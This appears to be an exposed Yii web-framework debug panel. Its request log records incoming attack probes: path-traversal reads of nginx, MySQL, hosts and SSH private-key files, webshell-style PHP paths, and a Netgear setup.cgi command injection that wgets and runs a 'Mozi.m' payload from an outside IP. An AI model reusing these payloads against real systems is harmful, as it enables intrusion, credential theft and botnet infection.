2.0.47
PHP
8.1.2-1ubuntu2.21
Log
98
1
Time
172 ms
Memory
15.190 MB
DB
5
25 ms
Events
38
Route
site/error
Status
404
Guest
Asset Bundles
5
Configuration
Logs
Profiling
Database
Events
Mail
Timeline
Dump
Router
Request
User
Asset Bundles
Prev
Next
All
Latest
Last 10
686aef20b382b: GET http://mickey88indo.xyz/wp-content/plugins/Core-Econ/upH.php, 2025-07-07 04:48:16 am, 172.70.208.82
686aef1ed2b23: GET http://mickey88indo.xyz/robots.txt, 2025-07-07 04:48:14 am, 162.158.108.71
686aee46e4f9e: GET http://159.65.12.185/src/pages, 2025-07-07 04:44:38 am, 216.73.216.227
686aee37e1bde: GET http://mickey88indo.xyz/temp.php, 2025-07-07 04:44:23 am, 162.158.108.164
686aed4b5e0b1: GET http://159.65.12.185/?section=..%2F..%2F..%2F..%2Fetc%2Fnginx%2Fnginx.conf, 2025-07-07 04:40:27 am, 216.73.216.227
686aed19808da: GET http://159.65.12.185/deprecated, 2025-07-07 04:39:37 am, 216.73.216.227
686aece61c0c6: GET http://159.65.12.185/?file=..%2F..%2F..%2F..%2Fhome%2Fuser%2F.ssh%2Fid_rsa, 2025-07-07 04:38:46 am, 216.73.216.227
686aecc3a97c6: GET http://159.65.12.185/?content=..%2F..%2F..%2F..%2Fetc%2Fhosts, 2025-07-07 04:38:11 am, 216.73.216.227
686aec3d1b248: GET http://159.65.12.185/?content=..%2F..%2F..%2F..%2Fetc%2Fmysql%2Fmy.cnf, 2025-07-07 04:35:57 am, 216.73.216.227
686aebe5e12b3: GET http://mickey88rp.xyz/robots.txt, 2025-07-07 04:34:29 am, 108.162.226.196
6869c96b93936: GET
http://127.0.1.1/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://125.45.63.102:59209/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1
at 2025-07-06 07:55:07 am by 125.45.63.102
Timeline - 172 ms
Duration ≥
ms
Category
Filter
0.0 ms
20.0 ms
30.0 ms
50.0 ms
70.0 ms
90.0 ms
100.0 ms
120.0 ms
140.0 ms
150.0 ms
15.19 MB
yii\db\Connection::open
22.8 ms
/
0.85 MB
yii\db\Command::query
3.2 ms
/
0.86 MB
yii\db\Command::query
13.7 ms
/
0.88 MB
yii\db\Command::query
5.4 ms
/
0.88 MB
yii\db\Command::query
1.3 ms
/
0.89 MB
yii\db\Command::query
1.3 ms
/
0.91 MB